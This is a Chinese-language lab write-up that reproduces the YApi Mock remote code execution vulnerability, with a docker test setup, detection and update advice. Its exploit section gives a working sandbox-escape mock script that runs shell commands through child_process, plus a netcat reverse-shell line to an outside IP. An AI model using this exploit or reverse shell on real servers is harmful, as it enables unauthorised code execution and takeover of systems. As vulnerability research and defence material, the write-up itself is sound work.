目录
漏洞原理
漏洞发现
查看issue2229
漏洞描述
网站开放注册功能时可随意注册,设置全局mock脚本可执行任意代码。
影响范围
Yapi <= 1.9.2
yapi学习
YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
通过官方文档学习如何新建项目
通过官方文档学习如何新建接口
通过官方文档学习Mock脚本与优先级
漏洞复现
环境搭建
这里使用的JayFong的docker-YApi,WEB UI在40001端口。修改了版本号为1.8.0
yaml
version: '3'
services:
yapi-web:
image: jayfong/yapi:1.8.0
container_name: yapi-web
ports:
- 40001:3000
environment:
- YAPI_ADMIN_ACCOUNT=admin@docker.yapi
- YAPI_ADMIN_PASSWORD=adm1n
- YAPI_CLOSE_REGISTER=false
- YAPI_DB_SERVERNAME=yapi-mongo
- YAPI_DB_PORT=27017
- YAPI_DB_DATABASE=yapi
- YAPI_MAIL_ENABLE=false
- YAPI_LDAP_LOGIN_ENABLE=false
- YAPI_PLUGINS=[]
depends_on:
- yapi-mongo
links:
- yapi-mongo
restart: unless-stopped
yapi-mongo:
image: mongo:latest
container_name: yapi-mongo
volumes:
- ./data/db:/data/db
expose:
- 27017
restart: unless-stopped
启动镜像
bash
docker-compose up -d
启动后发现管理员账号密码不对,应该是环境变量在容器中没有使用,查看配置文件找到管理员账号
查看安装脚本,找到密码
打开WEB UI,使用admin@hello.yapi、ymfe.org登录
新建项目
新建接口
exp
设置全局mock脚本
javascript
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("ls").toString()
可以把ls改为反弹shell等,例如
bash
nc 10.28.144.100 7777 -e /bin/sh
访问接口预览中的Mock地址即可看到命令结果。
入侵检测与防御
更新为最新版、禁止注册是最好的防御方式
入侵检测可以检测一下可疑的进程、网络连接,例如前面说的反弹Shell可以用下面的方式进行检测:
bash
ps -eo pid,ppid,comm,args
可以看到进程1的子进程是117,很可疑
bash
netstat -anp | grep ESTABLISHED
可以看到子进程117在与10.28.144.100的7777端口进行通信
参考
github-YMFE-yapi
yapi文档
yapi-issue2229
Awesome-POC-yapi
YApi Mock功能远程代码执行漏洞复现
gitee-JayFong-docker-YApi